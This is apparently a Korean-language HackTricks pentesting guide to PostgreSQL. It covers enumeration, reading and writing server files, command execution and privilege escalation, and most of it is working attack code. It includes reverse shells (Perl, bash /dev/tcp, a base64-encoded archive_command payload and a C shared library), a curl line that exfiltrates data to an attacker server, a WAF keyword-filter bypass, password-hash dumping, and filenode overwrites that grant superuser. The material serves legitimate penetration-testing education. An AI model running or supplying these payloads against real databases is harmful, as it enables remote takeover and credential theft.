5432,5433 - Pentesting Postgresql

Reading time: 24 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

PostgreSQL객체-관계형 데이터베이스 시스템으로 설명되며 오픈 소스입니다. 이 시스템은 SQL 언어를 활용할 뿐만 아니라 추가 기능으로 이를 확장합니다. 그 기능들은 다양한 데이터 타입과 연산을 처리할 수 있게 하여 개발자와 조직에 유연한 선택지를 제공합니다.

Default port: 5432 — 해당 포트가 이미 사용 중이면 postgresql이 사용 중이지 않은 다음 포트(대개 5433)를 사용하는 것으로 보입니다.

PORT     STATE SERVICE
5432/tcp open  pgsql

연결 및 기본 Enum

bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

warning

만약 **\list**를 실행했을 때 **rdsadmin**이라는 데이터베이스가 보이면, 당신은 AWS postgresql database 내부에 있다는 것을 알 수 있습니다.

자세한 내용은 PostgreSQL 데이터베이스를 악용하는 방법을 확인하세요:

PostgreSQL injection

자동 열거

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

this research에 따르면, 연결 시도가 실패하면 dblink는 오류에 대한 설명을 포함한 sqlclient_unable_to_establish_sqlconnection 예외를 발생시킵니다. 이러한 세부 정보의 예는 아래에 나열되어 있습니다.

sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • 호스트가 다운됨

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  • 포트가 닫혀 있음
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port이 열려 있음
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

또는

DETAIL:  FATAL:  password authentication failed for user "name"
  • 포트가 열려 있거나 필터링됨
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

PL/pgSQL 함수에서는 현재 예외 세부 정보를 얻을 수 없습니다. 하지만 PostgreSQL 서버에 직접 접근할 수 있다면 필요한 정보를 가져올 수 있습니다. 시스템 테이블에서 사용자 이름과 비밀번호를 추출할 수 없다면, 앞 섹션에서 논의한 wordlist 공격 방법을 활용해 볼 수 있으며 긍정적인 결과를 얻을 수도 있습니다.

Enumeration of Privileges

Roles

Role Types
rolsuper해당 역할은 슈퍼유저 권한을 가집니다.
rolinherit역할이 소속된 역할의 권한을 자동으로 상속합니다.
rolcreaterole새 역할을 생성할 수 있습니다.
rolcreatedb데이터베이스를 생성할 수 있습니다.
rolcanlogin로그인할 수 있습니다. 즉, 이 역할을 초기 세션 인증 식별자로 지정할 수 있습니다.
rolreplication복제 역할입니다. 복제 역할은 복제 연결을 시작하고 복제 슬롯을 생성 및 삭제할 수 있습니다.
rolconnlimit로그인할 수 있는 역할의 경우, 이 역할이 만들 수 있는 동시 연결 최대 수를 설정합니다. -1은 제한 없음입니다.
rolpassword비밀번호가 아니라(항상 ********로 표시됩니다)
rolvaliduntil비밀번호 만료 시간(비밀번호 인증에서만 사용); 만료가 없으면 null
rolbypassrls역할이 모든 row-level security 정책을 우회합니다. 자세한 내용은 Section 5.8를 참조하세요.
rolconfig런타임 구성 변수에 대한 역할별 기본값
oid역할의 ID

Interesting Groups

  • If you are a member of pg_execute_server_program you can execute programs
  • If you are a member of pg_read_server_files you can read files
  • If you are a member of pg_write_server_files you can write files

tip

Postgres에서는 사용자, 그룹, 역할같습니다. 이는 어떻게 사용하느냐로그인 허용 여부에 따라 달라집니다.

sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

테이블

sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

함수

sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

File-system actions

Read directories and files

commit 부터 정의된 DEFAULT_ROLE_READ_SERVER_FILES 그룹(일명 pg_read_server_files)의 멤버와 super users는 어떤 경로에서도 COPY 메서드를 사용할 수 있습니다(genfile.cconvert_and_check_filename을 확인하세요):

sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

warning

기억하세요: 만약 당신이 super user가 아니지만 CREATEROLE 권한을 가지고 있다면 자신을 해당 그룹의 멤버로 만들 수 있습니다:

GRANT pg_read_server_files TO username;

More info.

파일을 읽거나 디렉터리를 나열하는 데 사용할 수 있는 other postgres functions이 있습니다. 이러한 함수들은 오직 superusersusers with explicit permissions만 사용할 수 있습니다:

sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

다음에서 더 많은 함수를 확인할 수 있습니다: https://www.postgresql.org/docs/current/functions-admin.html

간단한 파일 쓰기

오직 슈퍼유저와 **pg_write_server_files**의 구성원만 copy를 사용하여 파일을 쓸 수 있습니다.

sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

warning

슈퍼유저가 아니지만 CREATEROLE 권한이 있다면 자신을 해당 그룹의 멤버로 만들 수 있습니다:

GRANT pg_write_server_files TO username;

More info.

COPY는 줄바꿈 문자를 처리할 수 없으므로, base64 페이로드를 사용하더라도 **한 줄(one-liner)**로 보내야 합니다.
이 기법의 매우 중요한 제한은 copy가 일부 이진 값을 변경하기 때문에 바이너리 파일을 쓰는 데 사용할 수 없습니다.

바이너리 파일 업로드

그러나 큰 바이너리 파일을 업로드하는 다른 기술들이 있습니다:

Big Binary Files Upload (PostgreSQL)

로컬 파일 쓰기를 통한 PostgreSQL 테이블 데이터 업데이트

PostgreSQL 서버 파일을 읽고 쓸 수 있는 권한이 있다면, the PostgreSQL data directory에서 연관된 파일 노드를 덮어써서 서버의 어떤 테이블이라도 업데이트할 수 있습니다. More on this technique here.

필요한 단계:

  1. PostgreSQL 데이터 디렉토리 획득
sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';

Note: 설정에서 현재 데이터 디렉토리 경로를 가져올 수 없다면, SELECT version() 쿼리로 주요 PostgreSQL 버전을 조회한 뒤 경로를 무작위로 대입해 시도해볼 수 있습니다. Unix에 설치된 PostgreSQL의 일반적인 데이터 디렉토리 경로는 /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. 흔한 클러스터 이름은 main입니다.

  1. 대상 테이블에 연관된 filenode의 상대 경로 확인
sql
SELECT pg_relation_filepath('{TABLE_NAME}')

이 쿼리는 base/3/1337 같은 값을 반환합니다. 디스크상의 전체 경로는 $DATA_DIRECTORY/base/3/1337, 즉 /var/lib/postgresql/13/main/base/3/1337 입니다.

  1. lo_* 함수로 filenode를 다운로드
sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. 대상 테이블과 연관된 데이터 타입 조회
sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
  1. PostgreSQL Filenode Editor를 사용하여 [edit the filenode]; 모든 rol* 불리언 플래그를 전체 권한을 위해 1로 설정합니다.
bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

PostgreSQL Filenode Editor Demo

  1. 수정한 filenode를 lo_* 함수로 다시 업로드하고 디스크의 원본 파일을 덮어씁니다
sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (선택) 고비용 SQL 쿼리를 실행하여 인메모리 테이블 캐시를 초기화할 수 있습니다
sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. 이제 PostgreSQL에서 테이블 값이 업데이트된 것을 확인할 수 있습니다.

pg_authid 테이블을 수정하여 슈퍼관리자 권한을 획득할 수도 있습니다. See the following section.

RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

exec 실행 예:

bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

warning

슈퍼유저가 아니지만 CREATEROLE 권한이 있다면 해당 그룹의 멤버로 자신을 추가할 수 있습니다:

GRANT pg_execute_server_program TO username;

More info.

Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
이 취약점에 대한 자세한 정보는 here에서 확인하세요. CVE-2019-9193로 보고되었지만 Postges는 이것이 feature and will not be fixed라고 발표했습니다.

Bypass keyword filters/WAF to reach COPY PROGRAM

SQLi 컨텍스트에서 stacked queries가 허용되는 경우, WAF가 리터럴 키워드 COPY를 제거하거나 차단할 수 있습니다. PL/pgSQL DO 블록 내부에서 명령문을 동적으로 구성하고 실행할 수 있습니다. 예를 들어, 앞의 C를 CHR(67)로 만들고 naive 필터를 bypass한 뒤 조립한 명령을 EXECUTE하십시오:

sql
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

이 패턴은 정적 키워드 필터링을 우회하면서 COPY ... PROGRAM을 통해 OS 명령 실행을 달성합니다. 애플리케이션이 SQL 오류를 출력하고 stacked queries를 허용할 때 특히 유용합니다.

RCE with PostgreSQL Languages

RCE with PostgreSQL Languages

RCE with PostgreSQL extensions

이전 게시물에서 바이너리 파일 업로드 방법을 배웠다면, postgresql extension을 업로드하고 로드하여 RCE를 얻어볼 수 있습니다.

RCE with PostgreSQL Extensions

PostgreSQL configuration file RCE

tip

다음 RCE 벡터들은 모든 단계가 nested SELECT 문을 통해 수행될 수 있기 때문에 제약된 SQLi 상황에서 특히 유용합니다

PostgreSQL의 configuration file은 데이터베이스를 실행하는 postgres userwritable 하므로, superuser 권한으로 파일시스템에 파일을 쓸 수 있고, 따라서 이 파일을 덮어쓸 수 있습니다.

RCE with ssl_passphrase_command

More information about this technique here.

구성 파일에는 RCE로 이어질 수 있는 몇몇 흥미로운 속성이 있습니다:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' 데이터베이스의 private key 경로
  • ssl_passphrase_command = '' 개인 파일이 비밀번호로 보호(암호화)되어 있으면 postgresql은 이 속성에 지정된 명령을 실행합니다.
  • ssl_passphrase_command_supports_reload = off If 이 속성이 on이면, 키가 비밀번호로 보호되어 있을 때 실행될 commandpg_reload_conf()실행될실행됩니다.

그렇다면 공격자는 다음을 수행해야 합니다:

  1. 서버에서 private key를 덤프
  2. 다운로드한 private key를 암호화:
  3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  4. 덮어쓰기
  5. 현재 postgresql configuration 덤프
  6. 언급한 속성들로 configuration덮어쓰기:
  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
  8. ssl_passphrase_command_supports_reload = on
  9. pg_reload_conf() 실행

테스트하면서 이 방법은 private key file의 권한이 640이고, root가 소유하며 group ssl-cert 또는 postgres에 속해(따라서 postgres 사용자가 읽을 수 있음), 그리고 파일이 _/var/lib/postgresql/12/main_에 위치해 있을 때만 작동한다는 것을 확인했습니다.

RCE with archive_command

More information about this config and about WAL here.

구성 파일에서 악용 가능한 또 다른 속성은 archive_command입니다.

이 방법이 동작하려면 archive_mode 설정이 'on' 또는 'always'여야 합니다. 그렇다면 archive_command의 명령을 덮어쓰고 WAL (write-ahead logging) 작업을 통해 강제로 실행시킬 수 있습니다.

일반적인 단계는:

  1. archive mode가 활성화되어 있는지 확인: SELECT current_setting('archive_mode')
  2. payload로 archive_command를 덮어쓰기. 예: 리버스 셸: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. 설정 리로드: SELECT pg_reload_conf()
  4. archive command를 호출하도록 WAL 작업을 강제 실행: SELECT pg_switch_wal() 또는 일부 Postgres 버전에서는 SELECT pg_switch_xlog()
Editing postgresql.conf via Large Objects (SQLi-friendly)

여러 줄 쓰기가 필요할 때(예: 여러 GUC를 설정해야 하는 경우), PostgreSQL Large Objects를 사용하여 SQL에서 구성파일을 전체로 읽고 덮어쓰세요. 이 방법은 COPY가 개행(newlines)이나 바이너리 안전한 쓰기를 처리하지 못하는 SQLi 상황에서 이상적입니다.

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

sql
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

이 방법은 archive_mode가 활성화된 경우 postgres 사용자로서 archive_command를 통해 신뢰할 수 있는 OS 명령 실행을 제공합니다. 실제로 낮은 archive_timeout을 설정하면 명시적인 WAL 전환 없이도 빠르게 호출될 수 있습니다.

RCE with preload libraries

More information about this technique here.

이 공격 벡터는 다음 구성 변수들을 악용합니다:

  • session_preload_libraries -- 클라이언트 연결 시 PostgreSQL 서버가 로드할 라이브러리들.
  • dynamic_library_path -- PostgreSQL 서버가 라이브러리를 검색할 디렉터리 목록.

dynamic_library_path 값을 데이터베이스를 실행하는 postgres 사용자가 쓸 수 있는 디렉터리(예: /tmp/)로 설정하고, 그곳에 악성 .so 객체를 업로드할 수 있습니다. 다음으로, session_preload_libraries 변수에 해당 라이브러리 이름을 포함시켜 PostgreSQL 서버가 새로 업로드된 라이브러리를 로드하도록 강제합니다.

공격 단계는 다음과 같습니다:

  1. 원본 postgresql.conf 다운로드
  2. dynamic_library_path 값에 /tmp/ 디렉터리를 포함, 예: dynamic_library_path = '/tmp:$libdir'
  3. session_preload_libraries 값에 악성 라이브러리 이름 포함, 예: session_preload_libraries = 'payload.so'
  4. SELECT version() 쿼리로 주요 PostgreSQL 버전 확인
  5. 올바른 PostgreSQL dev 패키지로 악성 라이브러리 코드를 컴파일 — Sample code:
c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

코드 컴파일:

bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. 단계 2-3에서 생성한 악성 postgresql.conf를 업로드하여 원본을 덮어씀
  2. 5단계에서 생성한 payload.so/tmp 디렉터리에 업로드
  3. 서버를 재시작하거나 SELECT pg_reload_conf() 쿼리를 호출하여 서버 구성 재로딩
  4. 다음 DB 연결 시 리버스 셸 연결을 수신하게 됩니다.

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.

따라서, CREATEROLE 권한이 있으면 본인에게 다른 roles(슈퍼유저가 아닌)에 대한 접근 권한을 부여할 수 있으며, 이를 통해 파일 읽기/쓰기 및 명령 실행 옵션을 얻을 수 있습니다:

sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

비밀번호 변경

이 역할을 가진 사용자는 다른 non-superusers비밀번호를 변경할 수도 있습니다:

sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

로컬 사용자가 비밀번호 없이 PostgreSQL에 로그인할 수 있는 경우를 흔히 발견합니다. 따라서 코드 실행 권한을 확보했다면 이를 악용해 SUPERUSER 역할을 획득할 수 있습니다:

sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

tip

이는 보통 pg_hba.conf 파일의 다음 라인들 때문에 가능합니다:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

this writeup에서는 사용자가 부여받은 ALTER TABLE 권한을 남용해 Postgres GCP에서 privesc가 어떻게 가능했는지 설명합니다.

당신이 테이블의 다른 사용자를 소유자로 만들려고 하면 이를 막는 오류가 발생해야 하지만, GCP는 그 옵션을 슈퍼유저가 아닌 postgres 사용자에게 부여한 것으로 보입니다:

이와 더불어, INSERT/UPDATE/ANALYZE 명령이 index function이 있는 테이블에서 실행될 때, 그 function은 명령의 일부로 테이블 소유자의 권한으로 호출된다는 사실을 합치면, 인덱스에 함수를 만들고 해당 테이블의 소유자 권한을 super user에게 부여한 다음, 악성 함수를 포함한 테이블에 대해 ANALYZE를 실행하면 소유자의 권한으로 명령을 실행할 수 있게 되어 명령을 수행할 수 있습니다.

c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. 새 테이블을 생성하는 것부터 시작합니다.
  2. 테이블에 index function용 데이터를 제공하기 위해 무관한 내용 몇 건을 삽입합니다.
  3. code execution payload를 포함하는 악성 index function을 작성하여 권한 없는 명령을 실행할 수 있도록 합니다.
  4. 테이블의 소유자를 ALTER하여 "cloudsqladmin"으로 변경합니다. 이는 Cloud SQL이 데이터베이스를 관리하고 유지하기 위해 전용으로 사용하는 GCP의 슈퍼유저 역할입니다.
  5. 테이블에 대해 ANALYZE를 실행합니다. 이 작업은 PostgreSQL 엔진이 테이블 소유자인 "cloudsqladmin"의 사용자 컨텍스트로 전환하도록 강제합니다. 결과적으로 악성 index function이 "cloudsqladmin" 권한으로 호출되어 이전에는 권한이 없던 shell command를 실행할 수 있게 됩니다.

PostgreSQL에서 이 흐름은 대략 다음과 같습니다:

sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

그러면 shell_commands_results 테이블에는 실행된 코드의 출력이 포함됩니다:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

로컬 로그인

일부 잘못 구성된 postgresql 인스턴스는 모든 로컬 사용자의 로그인을 허용할 수 있으며, 127.0.0.1에서 dblink function을 사용해 로컬로 로그인할 수 있습니다:

sql
\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

warning

이전 쿼리가 작동하려면 함수 dblink가 존재해야 합니다. 존재하지 않는다면 다음 명령으로 생성해볼 수 있습니다

CREATE EXTENSION dblink;

더 많은 권한을 가진 사용자의 비밀번호를 알고 있지만 해당 사용자가 외부 IP에서 로그인할 수 없는 경우, 다음 함수를 사용해 그 사용자로서 쿼리를 실행할 수 있습니다:

sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

다음으로 이 함수가 존재하는지 확인할 수 있습니다:

sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

사용자 정의 함수 SECURITY DEFINER

In this writeup, pentesters는 IBM에서 제공한 postgres 인스턴스 내부에서 privesc를 할 수 있었는데, 그 이유는 그들이 SECURITY DEFINER 플래그가 설정된 이 함수를 발견했기 때문입니다:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

explained in the docs대로, SECURITY DEFINER가 설정된 함수는 그 함수를 소유한 사용자의 권한으로 실행됩니다. 따라서 함수가 SQL Injection에 취약하거나 공격자가 제어하는 파라미터로 권한이 필요한 작업을 수행한다면, postgres 내부에서 권한 상승에 악용될 수 있습니다.

이전 코드의 4번째 줄에서 해당 함수에 SECURITY DEFINER 플래그가 설정되어 있음을 확인할 수 있습니다.

sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

그리고 명령을 실행:

Pass Burteforce with PL/pgSQL

PL/pgSQL은 SQL에 비해 더 강력한 절차적 제어를 제공하는 완전한 기능을 갖춘 프로그래밍 언어입니다. loops 및 기타 control structures를 사용하여 프로그램 로직을 향상시킬 수 있습니다. 또한 SQL statementstriggersPL/pgSQL language로 작성된 함수를 호출할 수 있습니다. 이 통합은 데이터베이스 프로그래밍과 자동화를 보다 포괄적이고 유연하게 만듭니다.
이 언어를 악용하여 PostgreSQL에 사용자 credentials를 brute-force 하도록 요청할 수 있습니다.

PL/pgSQL Password Bruteforce

Privesc by Overwriting Internal PostgreSQL Tables

tip

다음 privesc 벡터는 제한된 SQLi 상황에서 특히 유용합니다. 모든 단계가 중첩된 SELECT 문을 통해 수행될 수 있기 때문입니다.

PostgreSQL 서버 파일을 읽고 쓸 수 있다면, 내부 pg_authid 테이블과 연관된 PostgreSQL의 온디스크 filenode를 덮어써서 superuser가 될 수 있습니다.

이 기법에 대한 자세한 내용은 here입니다.

The attack steps are:

  1. PostgreSQL 데이터 디렉터리 확보
  2. 내부 pg_authid 테이블과 연관된 filenode의 상대 경로 확보
  3. lo_* 함수를 통해 filenode 다운로드
  4. pg_authid 테이블과 연관된 데이터 타입 확인
  5. PostgreSQL Filenode Editor를 사용하여 edit the filenode; 모든 rol* 불리언 플래그를 1로 설정하여 전체 권한을 부여합니다.
  6. 편집한 filenode를 lo_* 함수를 통해 다시 업로드하여 디스크의 원본 파일을 덮어씁니다
  7. (선택 사항) 고비용 SQL 쿼리를 실행하여 메모리 내 테이블 캐시를 정리합니다
  8. 이제 전체 superadmin 권한을 얻게 됩니다.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

로깅

postgresql.conf 파일 안에서 값을 변경하여 postgresql logs를 활성화할 수 있습니다:

bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

그런 다음, 서비스를 다시 시작하세요.

pgadmin

pgadmin은 PostgreSQL용 관리 및 개발 플랫폼입니다.
pgadmin4.db 파일 안에서 비밀번호를 찾을 수 있습니다.
스크립트 내부의 decrypt 함수를 사용하여 복호화할 수 있습니다: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

